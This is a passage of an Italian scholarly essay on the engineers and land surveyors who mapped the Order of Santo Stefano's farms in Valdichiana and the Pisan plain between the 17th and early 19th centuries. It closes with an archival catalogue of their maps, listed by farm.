Le fattorie della valle, che avevano ormai accresciuto i poderi a ben 162 e la superficie a 5373 ettari, nel 1808-09 passarono al Demanio Toscano e la direzione fu affidata dal governo francese a Francesco Cambray Digny, nominato Commissario ispettore dei beni di Valdichiana nel 1814. Anche con la ricostituzione (su basi meramente formali) dell’Ordine, nel 1814, il restaurato Ferdinando III si guardò bene dal reintegrare l’Ordine nella proprietà dei beni espropriati; da allora e fino all’unità d’Italia, l’amministrazione delle fattorie fu infatti affidata allo Scrittoio delle RR. Possessioni.
I compiti di un ingegnere dell’Ordine erano molteplici. E’ uno di questi, Giovanni Maria Veraci, in un documento del 1776, ad elencarli: visitare i beni di Santo Stefano, programmare i lavori necessari sia di tipo idraulico che edilizio, accompagnare il visitatore nei sopralluoghi ai possedimenti (le visite avvenivano almeno una volta all’anno), controllare i lavori già eseguiti e quelli in corso d’opera e redigere relazioni dettagliate. “Durante il controllo dei lavori l’ingegnere aveva pieni poteri su fattori, operai e altri lavoranti; solo a lui spettava infatti decidere i metodi di esecuzione dei lavori, i materiali da impiegare, la loro lavorazione e soprattutto la loro qualità in relazione alle necessità” (Giglia, 1997, p. 91).
Tra le tante incombenze dell’ingegnere c’era ovviamente quella della cartografia; e non avendo un ufficio o altro luogo dove disegnare, molto spesso questi tecnici – che si muovevano continuamente da un luogo all’altro – si riservavano, nei possedimenti dove era possibile, dei locali dove realizzavano “sul posto” piante e prospetti, e dove conservavano, talvolta, anche del materiale (in alcune note di lavori fatti troviamo notizie di mobili costruiti dai lavoranti delle fattorie ad uso dei periti, come ad esempio, “un tavolo per l’ingegnere e un armadio per conservare piante e disegni”). In genere, i progetti architettonici erano composti dalle piante dei diversi piani dell’edificio, dalle sezioni e dal prospetto che, talvolta, poteva essere sostituito con il modellino in legno; è interessante notare che l’uso dei modelli è diffuso, tra i tecnici dell’Ordine, nella seconda metà del Settecento, anche per edifici “minori”, come le case contadine, aspetto questo “innovativo, sintomatico dell’importanza che si dava all’edilizia rurale” (Giglia, 1997, p. 92).
La redazione di cabrei e di singole piante che descrivono con minuzia e spesso eccezionale perizia grafica i beni fondiari ed edilizi delle fattorie dell’Ordine va dall’inizio del XVII all’inizio del XIX secolo (precisamente il 1808, quando si verificò la soppressione dell’Ordine con relativa espropriazione dei beni rimasti da parte del governo francese), e coinvolse numerosi autori: ora celebri ingegneri architetti cittadini, e ora oscuri o poco noti periti agrimensori di provincia.
La differenza qualitativa dei prodotti – con il diverso grado di chiarezza e completezza dei contenuti e non di rado di eleganza e raffinatezza del disegno – appare marcata, fra le due categorie professionali (quella ‘aulica’ di matrice urbana e, di regola, di formazione accademica, e quella ‘pratica’ di provenienza provinciale e di formazione empirica), non solo alle origini, vale a dire nei tempi rinascimentali, ma anche nel XVII e nella prima metà del secolo successivo e addirittura oltre.
E’ comunque certo che il divario si allarga a partire dalla metà del XVIII secolo, grazie all’opera di qualificazione professionale di tanti allievi ingegneri architetti svolta dagli scienziati territorialisti Tommaso Perelli, Leonardo Ximenes, Pietro Ferroni, Pio Fantoni e Vittorio Fossombroni che furono alla guida della politica del territorio dei granduchi lorenesi fino (è il caso degli ultimi tre) agli anni del Regno d’Etruria (1801) e dell’annessione della Toscana all’Impero Francese (1808).
Le cartografie delle fattorie stefaniane, che sono firmate o che è stato possibile attribuire, in gran parte sono opera degli ingegneri architetti granducali divenuti tecnici ufficiali dell’Ordine e che in tale veste produssero innumerevoli rappresentazioni grafiche e relazioni peritali.
Riportiamo l’elenco completo delle rappresentazioni suddivise per fattorie.
Relativamente alla figura di “Ingegnere dell’Ordine” di Santo Stefano, si sa che si susseguirono vari tecnici provenienti sempre dai ruoli degli ingegneri e architetti inquadrati negli uffici dell’amministrazione statale (sia in quelli centralizzati come lo Scrittoio delle Regie Possessioni e la Camera di Soprintendenza Comunitativa, sia nel decentrato Ufficio Fiumi e Fossi di Pisa), evidentemente perché le competenze loro richieste riguardavano prioritariamente i due settori basilari della politica idraulica e della politica agraria. L’ingegnere di Santo Stefano, nella pianura pisana e soprattutto nella Valdichiana, doveva necessariamente occuparsi sia degli interventi della bonifica e della sistemazione fluviale, sia di quelli relativi alla colonizzazione e all’appoderamento delle terre di vecchio e nuovo “acquisto”. In altri termini, l’ingegnere dell’Ordine doveva integrare le capacità professionali tradizionalmente proprie dei periti agrimensori con quelle degli “architetti” specializzati nella progettazione e negli interventi relativi all’edilizia e, ancora, con quelle degli “ingegneri” esperti nelle più generali problematiche della descrizione e pianificazione urbanistica e territoriale.
La certezza circa l’esistenza della figura di “Ingegnere dell’Ordine” si ha solamente dalla metà del Settecento, quando compare Luigi Orlandi.
In precedenza, evidentemente tecnici furono coinvolti occasionalmente dall’Ordine. Non è raro rinvenire tecnici preparati, in possesso di un adeguato bagaglio di conoscenze di ordine teorico nei campi agrimensorio e geometrico-matematico, che erano soliti operare con strumenti ottici di rilevamento e misurazione all’altezza dei tempi (prima le tavolette pretoriane e poi i teodoliti), svolgere capillari e approfondite indagini dirette in campagna e, non di rado, utilizzare accortamente la documentazione scritta e grafica conservata nei pubblici archivi.
In effetti, taluni di questi operatori lavorarono a tempo pieno o parziale sia per gli uffici centrali o periferici del Granducato (a partire dall’Ufficio dei Fiumi e Fossi di Pisa, dai Capitani di Parte Guelfa, dallo Scrittoio delle RR. Possessioni, dallo Scrittoio delle RR. Fabbriche), sia per le Comunità: è il caso, di Andrea Sandrini all’inizio del Seicento, di Giuliano Ciaccheri e Francesco Gaeta alla fine del Seicento (e forse pure di Michele Gori, la cui mano sembra riconoscibile nell’anonima figura della fattoria di Montecchio del 1680 circa), di Giovanni Franchi, di Filippo Santini, di Giovanni Domenico Rinaldi all’inizio del Settecento e oltre, e finalmente anche di Giovanni Caluri nel tardo Settecento e tra la fine di quel secolo e l’inizio dell’Ottocento.
Andrea Sandrini, operò tra la fine del Cinquecento e gli inizi del Seicento; a lui sono attribuite due piante dell’acquedotto Mediceo da Asciano a Pisa della fine del secolo XVI. Di sicuro è autore della carta della Tenuta e Feudo di Camporsevoli nel 1608 e del progetto di riduzione del torrente Alma a canale navigabile nel 1607 (Barsanti, 1984, carta 10 dell’Appendice fotografica; Barsanti, 1987, pp. 76-77; Rombai, Toccafondi e Vivoli, 1987, p. 335).
Giuliano Ciaccheri, nato a Firenze nel 1644, si formò alla scuola del matematico Vincenzo Viviani ed operò attivamente come ingegnere presso l’Ufficio dei Capitani di Parte Guelfa dal 1673 al 1705 (anno della sua morte); si occupò di problemi di architettura e, soprattutto, fu esperto di ingegneria idraulica, settore nel quale “è ricordato per numerosi lavori”; il Fossombroni, “nelle sue Memorie storico-idrauliche sulla Val di Chiana, lo menziona insieme con Pier Antonio Tosi e Giovanni Franchi per l’intensa attività nelle bonifiche di quel territorio”. L’Archivio di Stato di Firenze conserva parecchie decine di cartografie da lui realizzate (Barsanti, Previti e Sbrilli, 1989, p. 90; Rombai, Toccafondi e Vivoli, 1987, p. 326).
“Francesco Gaeta, pisano, fu ingegnere dell’Ufficio dei Fossi della sua città. Autore di numerosi pareri su questioni tecnico-idrauliche, operò dal 1660 fino ai primi anni del ‘700”. E’ autore della pianta della Commenda Mendes nel 1686 e della tenuta medicea di Pietracassia in Val di Cecina nel 1693; ha firmato, inoltre, alcune piante realizzate per dirimere controversie confinarie o di altra natura fra comunità e possessori privati, come ad esempio quella fra privati e le comunità di Campo, Mezzana e Culignola in territorio pisano nel 1701 o quella coinvolgente la comunità di Fauglia nel 1700 (Barsanti, Previti e Sbrilli, 1989, p. 57 e 73; Barsanti, 1987, pp. 117 e 130; Barsanti, a cura di, 1997, pp. 174-175; Rombai, Toccafondi e Vivoli, 1987, p. 338).
Giovanni Franchi, ingegnere granducale attivo nella prima metà del Settecento, ed autore di numerose piante relative alla Valdichiana (come ad esempio quella sullo Stato delle acque delle Chiane, eseguita, nel 1719, con Egidio Maria Bordoni e quella relativa al Canale Maestro della Chiana nel territorio di Brolio nel 1712), è ricordato dal Fossombroni, insieme a Giuliano Ciaccheri, “per il notevole apporto dato alla bonifica di tutta la Val di Chiana”. Operò anche presso l’Ufficio dei Fossi di Pisa per il quale progettò, nel 1716, insieme a Giuseppe Landini, “la costruzione del nuovo canale di Calambrone”; redasse pure la carta con la confinazione del Marchesato di Castelnuovo Val di Cecina nel 1736 (Barsanti, Previti e Sbrilli, 1989, pp. 96-97, 104 e 106; Rombai, Toccafondi e Vivoli, 1987, pp. 316-317 e 394).
Filippo Santini fu allievo e collaboratore di Guido Grandi e operò dal 1725, “prima come aiuto e poi come ingegnere effettivo”, presso l’Ufficio Fiumi e Fossi di Pisa, “cui a fine ‘600 era già appartenuto il padre cap. ing. Giuseppe”. Eseguì, insieme a Tommaso Perelli e Pompeo Neri, la celebre visita alla Pianura Pisana del 1740 commissionata dalla Reggenza Lorenese. Ha firmato, con Giovanni Domenico Rinaldi, le mappe del canale navigabile di Ripafratta nel 1727 e, sempre nella prima metà del secolo, una pianta relativa ai beni dell’Ordine nella campagna pisana (Barsanti, Previti e Sbrilli, 1989, pp. 53-54; Rombai, Toccafondi e Vivoli, 1987, p. 413).
Giovanni Domenico Rinaldi, pisano, “perito agrimensore, attivo nella prima metà del ‘700, fu collaboratore dell’Ufficio dei Fossi di Pisa”. Nel 1714 e nel 1725 è autore delle piante delle praterie delle Sedici e di vari appezzamenti a seminativo e prato di Nugola e Castell’Anselmo, posti nella fattoria della Badia San Savino; ha firmato anche, con Michele Pacini, la pianta della tenuta di Rete dei Ricciardi, nel 1723, con Filippo Santini, le mappe del canale navigabile di Ripafratta nel 1727-28, oltre a vari disegni di possessioni agricole (Barsanti, Previti e Sbrilli, 1989, pp. 57 e 59; Rombai, Toccafondi e Vivoli, 1987, pp. 278, 325, 413-415).
Come già enunciato, sembra che il primo incarico sia stato ricoperto dall’ingegnere granducale Luigi Orlandi almeno dal 1746; è certo, comunque, che il primo tecnico “stabile” fu un altro operatore statale molto noto, Giovanni Veraci, in carica dal 1755 (ASP, Ordine di Santo Stefano, f. B1222, c. 65v) fin verso il 1776, affiancato, almeno dal 1769, in qualità di “aiuto”, dal giovane Giovanni Franceschi che era, allora, tra gli allievi più promettenti del “matematico regio” Pietro Ferroni.
Giovanni Maria Veraci, ingegnere architetto delle Possessioni granducali, “attivo per circa un cinquantennio dal 1724 fino agli anni ’70 del Settecento”, coordinò il gruppo di tecnici che, a partire dal 1740, curò il rilevamento cartografico di tutte le fattorie lorenesi. E’ anche autore di varie altre figure relative alle confinazioni tra Granducato e Lucca nell’area del lago di Massaciuccoli nel 1724, tra l’exclave granducale di Fivizzano e il marchesato Malaspina di Fosdinovo nel 1727, tra Granducato e Genova nel territorio di Pontremoli in Lunigiana nel 1744; e relative pure al feudo Niccolini di Ponsacco e Camugliano nel 1773 e al feudo Ginori di Urbech nel 1776 (Barsanti, Previti e Sbrilli, 1989, p. 91; Rombai, Toccafondi e Vivoli, 1987, pp. 79, 96-98, 126,. 139 e 187).
Dal canto suo, il successore Giovanni Franceschi,”operò anche presso lo Scrittoio delle Possessioni” ed ebbe diversi incarichi, a partire dagli anni ’70 e per tutta la seconda metà del Settecento, come “visitatore” delle fattorie dell’Ordine in Valdichiana. E’ autore di numerose piante delle Commende stefaniane e di figure redatte anche per privati (Barsanti, Previti e Sbrilli, 1989, pp. 62-66; Barsanti, 1991, pp. 180-216; Rombai, Toccafondi e Vivoli, 1987, p. 400).
Il Franceschi, tecnico assai stimato, elogiato perfino dal granduca, rimase in carica molto a lungo, certamente fino ai primi dell’Ottocento, a sua volta affiancato, dalla fine del Settecento, dall’ingegnere pisano Giovanni Caluri che aveva fatto esperienza nell’Ufficio dei Fiumi e Fossi di Pisa.
Giovanni Caluri, ingegnere, fu impegnato come “aiuto” presso l’Ufficio dei Fossi di Pisa, per oltre un quarantennio fino al 1810 circa, “quando gli succedette in carica il figlio Giuseppe. Di lui si conserva una vasta produzione presso gli archivi di Stato di Pisa e Firenze, e in diversi archivi privati”. E’ autore, oltre che del cabreo della fattoria (allivellata) di Badia San Savino del 1791, di alcune mappe delle Commende stefaniane della fine del Settecento e di altre figure relative al fiume Magra e a possedimenti urbani e agricoli negli anni ’80 e ’90 di quello stesso secolo. Prestò attivamente la sua opera anche per le Reali Possessioni – il granduca Pietro Leopoldo, lo ritenne un funzionario “di sufficiente capacità, esatto e attento” – e, negli anni ’70 e ’80 del XVIII secolo, firmò ben 9 cabrei di fattorie e altri beni granducali (fra cui Collesalvetti, Vico Pisano, Montenero e Antignano, Bibbona e Cecina); fra il 1780 e il 1790, eseguì, con altri autori, diverse piante della Dogana di Livorno (Barsanti, Previti e Sbrilli, 1989, p. 67; Barsanti, a cura di, 1997, pp. 202-203 e 215; Rombai, Toccafondi e Vivoli, 1987, pp. 134, 143, 405 e 409; Ginori Lisci, 1978, pp. 138, 149, 264, 265, 267 e 313).
Il 14 novembre 1802, su ordine del sovrano, fu prescelto come aiuto un altro notissimo ingegnere granducale, Giuseppe Manetti, che rimarrà in carica probabilmente fino alla soppressione dell’Ordine (1808), con il compito di dirigere ed assistere i lavori della Valdichiana e, più in generale, del Pisano e del Fiorentino. Nel Ruolo dei Ministri e Impiegati dell’Insigne Ordine di S. Stefano in Pisa formato secondo lo stato del P.mo gennaio 1805, tra i dipendenti dell’Ordine, nella parte relativa alla “Ricetta di Firenze”, compare infatti Giuseppe Manetti assunto “con dispaccio di S. M. del 14 Novembre 1802”. Costui, nel 1805, percepisce una provvigione annua di 120 scudi (un compenso di per sé piuttosto basso se si pensa che il soprintendente dello Scrittoio ne guadagna 550, il copista del soprintendente 160, l’archivista della cancelleria 144, il sagrestano della chiesa conventuale 144, ma integrato sicuramente con compensi straordinari in base alle singole prestazioni); egli “ha l’obbligo d’assistere e dirigere tutti i lavori di fabbriche, scoli, fiumi ed altri simili ne’ diversi territori del Fiorentino e del Pisano, ove sarà per occorrere a seconda degl’ordini che gli saranno comunicati dal Sig. Soprintendente allo Scrittoio e Azienda dell’Insigne Ordine in Pisa”. Nel registro si precisa che, “oltre i descritti nel presente Ruolo vi sono gli amministratori subalterni che ritirano quella mercede che per i tempi gli viene accordata a seconda delle loro incombenze, a riserva degli amministratori di Livorno e di Siena ai quali è fissato dagl’ordini l’emolumento del 5% sulle riscossioni effettive” (ASF, Scrittoio delle Regie Possessioni, f. 4107, Visita e Revisione allo Scrittoio dell’Insigne Ordine di S. Stefano in Pisa eseguita l’anno 1805, ins. 4). In un registro delle entrate ed uscite per l’amministrazione della tenuta del Suese, si trova conferma del fatto che lo stipendio accordato al Manetti (Ivi, ins. 4) è integrato da altri pagamenti: infatti, nel 1802, risulta una spesa di scudi 557 per “stime e perizie e per l’onorario al Formichi e Manetti per la nuova stima di detta Tenuta, Operazioni diverse […], e stima dei 6 poderi” (Ivi, ins. 10).
Jacopo Gugliantini fu ingegnere dell’Ordine, subentrando al Franceschi a partire almeno dal 1783 fino al 1808, continuando poi la sua feconda attività al servizio degli uffici statali fino agli anni ’20.
Dell’ampia produzione del Gugliantini, spicca la raccolta generale del 1808 che è conservata, con rappresentazione delle sole fattorie chianine, al Castello del Calcione della famiglia Della Stufa e anche, con allargamento alle altre 4 fattorie chianine ex granducali (più a 7 fattorie pure statali ubicate in vari contesti toscani), nell’Archivio di Stato di Praga/SUAP, RAT, Ferdinand III, ms 11, “Memoria sopra le possessioni della Corona di Toscana compilata dall’attual Direttore di questa branca d’Amministrazione Antonio Brissoni lì 1 marzo 1814” (Rombai, 1997, p. 90); e – relativamente alle sole 12 fattorie chianine – pure in ASF, Scrittoio delle RR. Possessioni, f. 3874, cc. 180-197 e 398-432, figure firmate da Jacopo Gugliantini e datate 1814; e in Biblioteca Marucelliana di Firenze, Fondo De Cambray Digny, ms. 11, Rapporto sui beni dell’Ordine di S. Stefano in Val di Chiana del 1808.
La raccolta del Gugliantini contiene anche una Pianta del corso delle acque delle Chiane dall’Arno fino in Paglia e Tevere che utilizza la consueta base topografica che risale agli anni ‘30 del XVIII secolo e fu costruita, o almeno utilizzata, dallo scienziato scolopio Odoardo Corsini nella sua nota memoria a stampa sulla Valdichiana.
E’ da notare che il cabreo Lotteringhi Della Stufa è corredato di una memoria introduttiva, evidentemente scritta dall’ingegnere stesso, sulle vicende della Valdichiana in generale ed in particolare sulle otto fattorie, che vengono descritte dettagliatamente (storia, modalità di gestione, rendite, abitazioni, natura e utilizzo del suolo, allevamento, ecc.).
Gugliantini è pure autore delle piante della Commenda Teri nel 1807 e della Commenda Buratti nel 1808, oltre che di varie figure sempre relative ad aree chianine. Dal disegno raffinato ed elegante, tra gli anni ‘90 del Settecento e gli anni ’20 dell’Ottocento, ha firmato il maggior numero di prodotti per le residue fattorie dell’Ordine, quelle chianine; non disdegnando neppure di vendere a privati (come dimostra il caso del notissimo cabreo attualmente conservato nella raccolta Lotteringhi Della Stufa del Calcione) i suoi prodotti che accoppiano l’arte alla tecnica, del resto adeguandosi con ciò ad una prassi diffusa e consolidata presso i mal pagati operatori territoriali al servizio del granduca o degli enti (Rombai, 1997, p. 127; Barsanti, 1997, pp. 229-233; Rombai, Toccafondi e Vivoli, 1987, p. 332; Guarducci e Rombai, 1999; Guarducci, 2002).

Alla categoria dei pubblici periti locali ed agrimensori di campagna appartengono non pochi altri tecnici:
Giovan Battista Ruscelli e Niccolò Montomoli (per la Valdichiana), e Bartolomeo Bonistalli (per il Pisano) nel primo Settecento (Bonistalli è anche autore, nel 1733, del disegno di un edificio pisano di proprietà dell’ordine, allivellato a privati), Francesco Betti per Lavaiana/Vaiana nel 1774-76 (autore dei disegni finali del cabreo del 1772-73 che rappresenta le fattorie granducali di Vico Pisano, Cascine di Bientina e Pianore), Pier Francesco Paoli per la Badia San Savino (cabreo del 1743) e, per la stessa fattoria, il trio Ranieri Maria Dini, Francesco Antonio Giari e Giuseppe Gini, con altri (cabreo del 1774-76) (di Giuseppe Gini, si ricorda una pianta del 1786 relativa ad un appezzamento di terra lungo il fiume Era in territorio pisano, popolo di Montecchio), e finalmente, per Il Pino, il gruppo di pubblici agrimensori costituito da Pietro Lucii (che si definisce “Agrimensore con Diploma” di Vico d’Elsa), Valeriano Carniani, Gaetano Del Re, Giovan Battista Montelatici, Francesco Renzi e Luca Antonio Billi nel 1775-77.
Emblematico appare l’esempio del cabreo della Badia San Savino del 1774-76 redatto soprattutto dagli autori agrimensori locali Ranieri Maria Dini, Francesco Antonio Giari e Giuseppe Gini, ma con il contributo di ingegneri architetti noti come Giovan Domenico Riccetti e Giovanni Franceschi: non a caso, le mappe disegnate da questi ultimi due operatori eccellono rispetto ai prodotti degli altri autori.
Giovan Domenico Riccetti, “che figura qui come agrimensore, ma altre volte si sottoscrive come ingegnere”, operò come “aiuto” presso l’Ufficio dei Fossi di Pisa nella seconda metà del Settecento e agli inizi del secolo successivo, fino a quando venne sostituito dal figlio Francesco Riccetti ha firmato inoltre, con Giovanni Andreini, la pianta della Commenda Giuliani nel 1791 e, con Ranieri Sbrana, quella del Priorato di Montepulciano Tonini Del Furia nel 1795, oltre ad una carta con i confini del territorio di Fauglia e Nugola, disegnata nel 1798, per dirimere una annosa controversia esistente con i proprietari fondiari. Inoltre, è autore di alcune piante della fine del Settecento relative a terreni appresellati nelle comunità di Lari, Pontedera e Santa Luce (Barsanti, Previti e Sbrilli, 1989, pp. 62-66; Barsanti, 1987, pp. 105, 112 e 114; Barsanti, a cura di, 1997, pp. 199-209; Rombai, Toccafondi e Vivoli, 1987, p. 408).

Produzione cartografica

Fattorie della Valdichiana:
Abbozzi di piante e spaccati delle fabbriche nuove fatte nelle fattorie della Sacra Religione di S. Stefano in Val di Chiana nell’ultimo novennio d’affitto, 1782 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 105/11);
Piante delle case al pulito [delle fattorie di Montecchio, Fonte a Ronco, Bettolle e Foiano], Stefano Diletti, Giovanni Franceschi e Domenico Puliti, 1779 (ASF, Scrittoio delle RR. Possessioni, f. 3874, cc. 1-178 e 324-397);
Disegni delle nuove Case e annessi dei Poderi delle Fattorie della Religione di Santo Stefano, 1793 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 290);
Beni dell’Imperatore Napoleone I, già dell’Ordine di Santo Stefano in Val di Chiana [Cabreo Della Stufa], Iacopo Gugliantini, 1808

Mulino della Chiana o della Chiusa dei Monaci ed edifici cittadini:
Pianta delle fabbriche e annessi del Molino di Chiana appartenente all’Insigne Militar Ordine di S. Stefano Papa e Martire, Giovanni Franceschi, 1797 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 106/1) e Jacopo Gugliantini, 1802-08 circa (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 106 e 106/2);
Mulino e terreni adiacenti alla Chiana dell’Ordine di S. Stefano, Jacopo Gugliantini, 1802 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 107);
Pianta delle Fabbriche e dei terreni del Mulino di Chiana, Jacopo Gugliantini, 1809 (ASF, Scrittoio delle RR. Possessioni, f. 3874, c. 402);
Pianta del Palazzo in Montepulciano, secolo XVIII (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 234);
Pianta e facciata delle stalle e granai da fabbricarsi in Arezzo per la Religione di S. Stefano ordinata dal Nob. Sig. Amministr. Niccolò Gamurrini l’anno 1800, Jacopo Gugliantini e Angelo Lorenzo de’ Giudici, 1800 (ASF, Miscellanea di Piante, nn. 450-451);
Pianta e alzato della Casa posta in Arezzo appartenente alla Sacra Religione, Jacopo Gugliantini, 1804 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 25);
Piante delle Case poste in Cortona e a Monte S. Savino dell’Insigne Militar Ordine di Santo Stefano, Jacopo Gugliantini, 1804 circa (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 289).

Fattoria di Bettolle:
Pianta della fattoria di Bettolle della sacra Religione di S. Stefano in Valle di Chiane, Giuliano Ciaccheri, 1684 (ASP, Santo Stefano, n. 2);
Carta delle colmate della Foenna nella Fattoria di Bettolle in Valdichiana, 1730-31 (ASF, Miscellanea di Piante, n. 754);
Carta topografica della Fattoria di Bettolle in Valdichiana dell’Ordine di S. Stefano, seconda metà del sec. XVIII (ASF, Miscellanea di Piante, n. 421);
Pianta della colmata grande del fiume Foenna nella Fattoria di Bettolle, Giovanni Maria Veraci, 1770 (ASP, Santo Stefano, n. 26);
Pianta e veduta della Chiavica da farsi sotto il fiume Foenna nella Fattoria di Bettolle, sec. XVIII (ASP, Santo Stefano, n. 11);
[Colmate della Foenna nella Fattoria di Bettolle], sec. XVIII (ASP, Santo Stefano, nn. 20, 38c, 40a, 40b);
[Colmata presso la Via Larga nella Fattoria di Bettolle], Raffaello Titii agrimensore aretino, sec. XVIII (ASP, Santo Stefano, n. 76);
Pianta della Fattoria di Bettolle dell’Ordine di S. Stefano, Jacopo Gugliantini, 1805-08 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 303);
Pianta della Fattoria di Bettolle, 1808 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 37);
Pianta della Fattoria di Bettolle in Val di Chiana dell’Insigne Militare Ordine di S. Stefano, Jacopo Gugliantini, 1808, (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 39).

Fattoria di Foiano:
Pianta della Fattoria di Foiano di S.A.S., 1652 (ASF, Piante dello Scrittoio delle Regie Possessioni, n. 100);
Pianta della fattoria di Foiano della Sacra Religione…, inizio del sec. XVIII (ASP, Santo Stefano, n. 13);
Pianta della Colmata che fa la Sac.a Relig.e di Santo Stefano nella fattoria di Foiano, prima metà del sec. XVIII (ASP, Santo Stefano, n. 27);
Carta delle colmate dell’Esse nella Fattoria di Foiano, prima metà del sec. XVIII (ASF, Miscellanea di Piante, n. 755);
[Colmate nella fattoria di Foiano], sec. XVIII (ASP, Santo Stefano, n. 39);
[Colmate dell’Esse nella Fattoria di Foiano], sec. XVIII (ASP, Santo Stefano, nn. 38a, 38b, 39b, 40, 41a, 41b, 41c);
Piante delle Fabbriche della Fattoria di Foiano, Jacopo Gugliantini ingegnere, 1798 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 324) (“copiato e ridotto”);
Pianta geometrica dell’attuale Colmata di Foiano, Jacopo Gugliantini, 1804 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 170);
Pianta di una porzione di terreni attenente alla Tenuta di Foiano dell’Ordine di S. Stefano e Pianta della Fattoria di Foiano, Jacopo Gugliantini, 1805 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 173);
Pianta della Fattoria di Foiano nella Val di Chiana appartenente all’Insigne e Militar Ordine di S. Stefano, Jacopo Gugliantini, 1807 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 171);
Pianta della Fattoria di Foiano, Jacopo Gugliantini ingegnere, 1807 circa (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 172);

Fattoria di Fonte a Ronco:
Pianta della fattoria della Fonte All Roncho, Andrea Sandrini, 1608 (ASF, Miscellanea di Piante, n. 113/a);
Divisioni e spartimentj delle praterie externe, lungo l’argine di riparo, della tenuta di Fonte al Ronco dalli Confini del Bastardo fino alla Contea di Cesa: con linea che divide li Prati della Sacra Religione dalli pascoli comuni, consegnati a misura à lavoratori di detta Tenuta, inclusovi anche gli Prati delli Sig. Bruschierj per l’intiera dimostrazione della presente operazione, Giovan Battista Ruscelli agrimensore, 1724 (ASP, Santo Stefano, n. 3);
Distribuzioni e spartimenti delle praterie esterne l’argine di riparo della Tenuta del Pozzo, di Fattoria di Fonte al Ronco consegnati a misura à lavoratori di detta Tenuta, e numerate le porzioni per gli poderi al presente esistenti, come ancora per gl’altri da comporsi necessariamente in detta Tenuta, Giovan Battista Ruscelli agrimensore, 1724 (ASP, Santo Stefano, n. 4);
Pianta delle Gronde della Fattoria di Fonte al Ronco da Porto di Detta Fattoria fino a Prati affittati a Francesco Bruschieri di Arezzo, sec. XVIII (ASP, Santo Stefano, n. 9);
[Terreni della Fattoria di Fonte al Ronco in Valdichiana], sec. XVIII (ASP, Santo Stefano, n. 22);
[Pianta e veduta del palazzo di Fonte a Ronco], sec. XVIII, (ASP, Santo Stefano, n. 36);
Pianta della Tenuta di Font’a Ronco della Fattoria di tal nome dell’Ordine Insigne di Santo Stefano, 1780 circa (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 180);
Piante delle Fabbriche della Fattoria di Fonte a Ronco, Jacopo Gugliantini ingegnere, 1798 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 322) (“copiate e ridotte”);
[Palazzo di Fattoria di Font’a Ronco], sec. XVIII (ASP, Santo Stefano, n. 11);
Riduzione progettata per la Casa di Fattoria a Fonte a Ronco, fine del sec. XVIII (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 181 e 182);
Pianta del Podere del Fossaccio nel Popolo di Alberoro Comunità di Civitella, sec. XVIII (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 183);
Piante dei Poderi Pozzale e Poderina nei Popoli di San Bartolommeo a Badicorte Comunello di Marciano e di San Prospero a Montagnano Comunità di Marciano, fine del sec. XVIII – inizio del sec. XIX (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 184);
Pianta dei Poderi di Tegoleto, del Palazzo, Giardino e della Peluzza Popolo di Tegoleto Comunità di Civitella, addetti alla Fattoria di Font’ a Ronco in Val di Chiana, fine del sec. XVIII – inizio del sec. XIX (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 188);
Pianta del Podere alla Salciaia nel piano del Monte San Savino, fine del sec. XVIII – inizio del sec. XIX (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 185);
Pianta del Podere di Spoiano Popolo di Alberoro Comunità di Civitella, fine del sec. XVIII – inizio del sec. XIX (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 186);
Pianta del Podere di Via Larga posto nella Cura di San Marco di Alberoro nella Fattoria di Font’ a Ronco, 1800 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 189);
Pianta della Colmata del Rio del Tegoleto nella Fattoria di Font’ a Ronco, 1801 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 187);
Pianta geometrica della Colmata da farsi col Fiume Esse nella Tenuta del Pozzo della Fattoria di Font’a Ronco, 1802 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 156);
Pianta della Tenuta addetta alla Fattoria di Font’a Ronco in Val di Chiana dell’Insigne Militare Ordine di Santo Stefano, Jacopo Gugliantini ingegnere, 1807 circa (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 179).

Fattoria di Montecchio:
L’altra parte della Fattoria di Montecchio che seguita in verso Valiano, Andrea Sandrini, 1608 (ASF, Miscellanea di Piante, n. 113/b); Pianta dei Beni, e Chiana di Montecchio, del Ser. Prin.pe Card.le Gio. Carlo di Toscana, 1680 circa (ASF, Piante dello Scrittoio delle RR. Possessioni, n. 198/III);
Pianta della Fattoria di Montecchio, Giovanni Franchi, 1710 (ASP, Santo Stefano, n. 1);
[Pianta della Fattoria di Montecchio della Religione fatta per la terminazione dell’Esse], sec. XVIII (ASP, Santo Stefano, n. 25);
[Colmata presso la Reglia di Bitorniolo nella Fattoria di Montecchio], sec. XVIII (ASP, Santo Stefano, n. 38 e 38e);
Pianta che mostra tutto il corso del Canal Maestro delle Chiane dal Callone di Valiano fino alla Pescaia dei Monaci d’Arezzo, il ramo di Montecchio e lo scolo del ramo di Montepulciano, Niccolò Montomoli, 1736 (copia del 1791) (Archivio storico di Foiano della Chiana, pezzo n. 875);
